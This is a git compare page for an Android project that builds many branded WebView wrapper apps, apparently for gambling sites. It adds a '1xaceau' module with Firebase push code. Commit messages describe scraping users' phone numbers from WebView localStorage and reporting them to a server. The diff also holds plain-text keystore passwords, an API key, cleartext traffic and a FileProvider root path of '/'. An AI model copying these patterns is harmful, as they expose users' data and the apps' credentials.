Compare commits

...

11 Commits

Author SHA1 Message Date
5b965686c4 chore: checkpoint app modules before flavor migration 2026-08-05 16:33:36 +08:00
63a12890c3 revert: remove local fallback domains 2026-08-05 15:54:27 +08:00
5e6520c258 revert: restore local fallback domains 2026-08-05 15:25:52 +08:00
f25bd7abf9 chore: remove hardcoded fallback domains 2026-08-05 14:53:40 +08:00
da64066a21 补充项目历史更新说明 2026-08-04 10:34:51 +08:00
00791f1021 支持采集多个缓存用户信息 2026-08-04 10:13:54 +08:00
bce9cac658 fix(api): 优化站点用户信息上报逻辑和接口
- 修改App名称为“Amazy Taiwan”,更新对应配置字段
- 更改站点用户信息上报接口地址为“api/client/user-info”
- 上报数据中新增设备类型字段 deviceType,值固定为 ANDROID
- data 字段必须为JSON对象且包含必填字段 mobile
- mobile字段缺失时,用手机号候选字段中第一个有效值补充
- 添加数据解析异常和手机号缺失时跳过上报的逻辑
- 更新上报方法,调整请求体字段和接口调用方式
2026-08-03 09:44:59 +08:00
cde179becc feat(api): 增强通知功能及新增站点用户信息上报
- 新增通知详情接口,查询通知详情时异步增加阅读次数
- 小铃铛列表支持展开通知时异步增加通知阅读次数并刷新列表
- 通知列表查询接口增加isScheduler参数
- MessageInfo新增接收和阅读次数字段
- MyNotifyListAdapter新增通知展开事件监听,显示真实阅读次数
- MainActivity新增localStorage用户信息轮询机制,自动抓取并净化用户信息
- 实现用户信息去重上报,只对未上报过的用户信息调用上报接口
- 处理用户信息抓取结果,支持手机号多字段提取及本地缓存
- 允许自定义轮询间隔,登录状态下每日复查一次,未登录时每30秒一次
- 完善错误处理,用户信息上报失败时清除本地去重缓存支持重试
- 配置更新及新增模块titanplayz和amazy,调整版本号与命名规范
2026-07-31 17:23:00 +08:00
759a262658 feat(android): 初始化Android项目基础框架及推送功能
- 新增amazy和titanplayz两个项目的build.gradle配置文件
- 配置应用的包名、版本号及资源颜色和字符串
- 集成Firebase服务,添加google-services.json文件和相关依赖
- 添加签名配置及打包输出重命名规则
- 新增基础Activity(IndexActivity)实现FCM推送订阅功能
- 新增自定义Firebase消息服务(MyFirebaseMessageingService)处理通知显示
- 添加应用基础主题及样式配置文件
- 设置网络安全配置,支持明文流量
- 添加资源文件(启动背景big_bg.xml及应用logo)
- 配置应用权限及推送相关权限
- 创建Application子类WebApplication初始化日志和上下文
- 完成文件路径配置,支持文件访问权限适配Android 7.0及以上系统
2026-07-31 17:22:52 +08:00
e3fdac7bb0 feat(android): 添加多个新模块并更新系统栏适配逻辑
- 在settings.gradle中引入多个新模块,包括we88sg26、NEPSPIN88、2URUS等
- 更新各新模块build.gradle配置,修改应用ID、资源颜色、应用名、用户ID等信息
- 替换各新模块google-services.json配置,更新Firebase项目参数和API密钥
- 优化MainActivity、NotifyListActivity、WebViewActivity中的系统栏适配逻辑
- 引入WindowCompat和WindowInsetsControllerCompat支持,实现沉浸式状态栏和导航栏处理
- 通过applySystemBarInsets方法统一处理系统栏颜色和内边距,提高多版本兼容性
- 删除过时的enableEdgeToEdge方法,代码简化并提升可维护性
- 设置系统栏状态图标颜色亮度基于背景色亮度计算,提升视觉效果一致性
2026-07-30 17:14:20 +08:00
369e30ca55 feat:修复满屏bug,新增多个app 2026-07-30 17:14:04 +08:00
537 changed files with 14527 additions and 465 deletions

2
.idea/compiler.xml generated
View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<bytecodeTargetLevel target="21" />
<bytecodeTargetLevel target="17" />
</component>
</project>

View File

@@ -379,6 +379,109 @@
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="we88sg26">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="NEPSPIN88">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="2URUS">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="1xaceau">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="play33">
<option name="selectionMode" value="DROPDOWN" />
<DropdownSelection timestamp="2026-07-02T01:59:09.845398Z">
<Target type="DEFAULT_BOOT">
<handle>
<DeviceId pluginId="PhysicalDevice" identifier="serial=R8YY90NKPQF" />
</handle>
</Target>
</DropdownSelection>
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="millionking96">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="b88">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="LSDpokies">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="pasti77">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="KINGCUCI">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="mbs9">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="JDCLUB9VIP">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="ANTBET">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="BOSSKU">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="jpot9">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="titanplayz">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="amazy">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="RMcuci">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="gk9">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="audking98">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="WEBO98">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="GOI9AU">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="spinsini">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
<SelectionState runConfigName="7ERACLUB">
<option name="selectionMode" value="DROPDOWN" />
<DialogSelection />
</SelectionState>
</selectionStates>
</component>
</project>

23
.idea/gradle.xml generated
View File

@@ -11,19 +11,34 @@
<set>
<option value="$PROJECT_DIR$" />
<option value="$PROJECT_DIR$/1xace" />
<option value="$PROJECT_DIR$/1xaceau" />
<option value="$PROJECT_DIR$/1xhuat" />
<option value="$PROJECT_DIR$/1xme8" />
<option value="$PROJECT_DIR$/1xsands" />
<option value="$PROJECT_DIR$/1xsgd" />
<option value="$PROJECT_DIR$/2UOB" />
<option value="$PROJECT_DIR$/2URUS" />
<option value="$PROJECT_DIR$/7ERACLUB" />
<option value="$PROJECT_DIR$/88Malaysia" />
<option value="$PROJECT_DIR$/ANTBET" />
<option value="$PROJECT_DIR$/AU99live" />
<option value="$PROJECT_DIR$/BOSSKU" />
<option value="$PROJECT_DIR$/GOI9AU" />
<option value="$PROJECT_DIR$/JDCLUB9VIP" />
<option value="$PROJECT_DIR$/Joker9au" />
<option value="$PROJECT_DIR$/KINGCUCI" />
<option value="$PROJECT_DIR$/LSDpokies" />
<option value="$PROJECT_DIR$/NEPSPIN88" />
<option value="$PROJECT_DIR$/RMcuci" />
<option value="$PROJECT_DIR$/WEBO98" />
<option value="$PROJECT_DIR$/aa7au" />
<option value="$PROJECT_DIR$/afb77au" />
<option value="$PROJECT_DIR$/aipokies" />
<option value="$PROJECT_DIR$/amazy" />
<option value="$PROJECT_DIR$/aud2u26" />
<option value="$PROJECT_DIR$/audking98" />
<option value="$PROJECT_DIR$/auplayx" />
<option value="$PROJECT_DIR$/b88" />
<option value="$PROJECT_DIR$/bantuan88" />
<option value="$PROJECT_DIR$/base" />
<option value="$PROJECT_DIR$/base_noupdata" />
@@ -42,20 +57,25 @@
<option value="$PROJECT_DIR$/jk123hk" />
<option value="$PROJECT_DIR$/jkpokies" />
<option value="$PROJECT_DIR$/jl8au" />
<option value="$PROJECT_DIR$/jpot9" />
<option value="$PROJECT_DIR$/kaki33" />
<option value="$PROJECT_DIR$/live22" />
<option value="$PROJECT_DIR$/lorongjudi33" />
<option value="$PROJECT_DIR$/luxegaming" />
<option value="$PROJECT_DIR$/mbs9" />
<option value="$PROJECT_DIR$/mega88my" />
<option value="$PROJECT_DIR$/mg8vipmyr" />
<option value="$PROJECT_DIR$/mgmhotram" />
<option value="$PROJECT_DIR$/millionking96" />
<option value="$PROJECT_DIR$/mk99pgk" />
<option value="$PROJECT_DIR$/myklbet" />
<option value="$PROJECT_DIR$/neftsoft" />
<option value="$PROJECT_DIR$/nova9sg" />
<option value="$PROJECT_DIR$/pantas3342" />
<option value="$PROJECT_DIR$/pasti77" />
<option value="$PROJECT_DIR$/petros777" />
<option value="$PROJECT_DIR$/pgk76" />
<option value="$PROJECT_DIR$/play33" />
<option value="$PROJECT_DIR$/pokies420" />
<option value="$PROJECT_DIR$/pokiesplay" />
<option value="$PROJECT_DIR$/powercuci" />
@@ -64,13 +84,16 @@
<option value="$PROJECT_DIR$/redspin8" />
<option value="$PROJECT_DIR$/sg99live" />
<option value="$PROJECT_DIR$/slotkaki33" />
<option value="$PROJECT_DIR$/spinsini" />
<option value="$PROJECT_DIR$/telur33" />
<option value="$PROJECT_DIR$/test" />
<option value="$PROJECT_DIR$/titanplayz" />
<option value="$PROJECT_DIR$/toke66a" />
<option value="$PROJECT_DIR$/u8888aud" />
<option value="$PROJECT_DIR$/uu3au" />
<option value="$PROJECT_DIR$/vv88aud" />
<option value="$PROJECT_DIR$/we1win" />
<option value="$PROJECT_DIR$/we88sg26" />
<option value="$PROJECT_DIR$/winway" />
<option value="$PROJECT_DIR$/winway_jisuanqi" />
<option value="$PROJECT_DIR$/xmeth98" />

2
.idea/misc.xml generated
View File

@@ -1,6 +1,6 @@
<project version="4">
<component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="ProjectRootManager" version="2" languageLevel="JDK_21" default="true" project-jdk-name="jbr-21" project-jdk-type="JavaSDK">
<component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
<output url="file://$PROJECT_DIR$/build/classes" />
</component>
<component name="ProjectType">

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '1xace')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "275"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
1xaceau/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
1xaceau/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "1XACEAU"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.ahdas.xaceau"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#08192A')
//app 名字
resValue('string', 'app_name', '1XACEAU')
buildConfigField "int", "USERID", "300"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "932292522704",
"project_id": "xaceau-53664",
"storage_bucket": "xaceau-53664.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:932292522704:android:521063bf4d7362e454a4d5",
"android_client_info": {
"package_name": "com.ahdas.xaceau"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAEPUZSDu21oB5WSSrqHLT0xE-rwHYoCtU"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
1xaceau/justlet.jks Normal file

Binary file not shown.

32
1xaceau/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
1xaceau/telur33.jks Normal file

Binary file not shown.

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', '1XHUAT')
// 预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://1xhuat.com/\""
buildConfigField "int", "USERID", "248"
buildConfigField "boolean", "IS_WHITE", "true"
buildConfigField "boolean", "IS_ROUND", "false"

View File

@@ -64,7 +64,6 @@ public class IndexActivity extends MainActivity {
private void initConfig() {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -3,7 +3,7 @@ plugins {
id 'com.google.gms.google-services'
}
def appOutPutName = "XMETH98"
def appOutPutName = "1xme8"
android {
namespace rootProject.ext.namespace
@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'XMETH98')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "247"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '1xsands')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "268"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

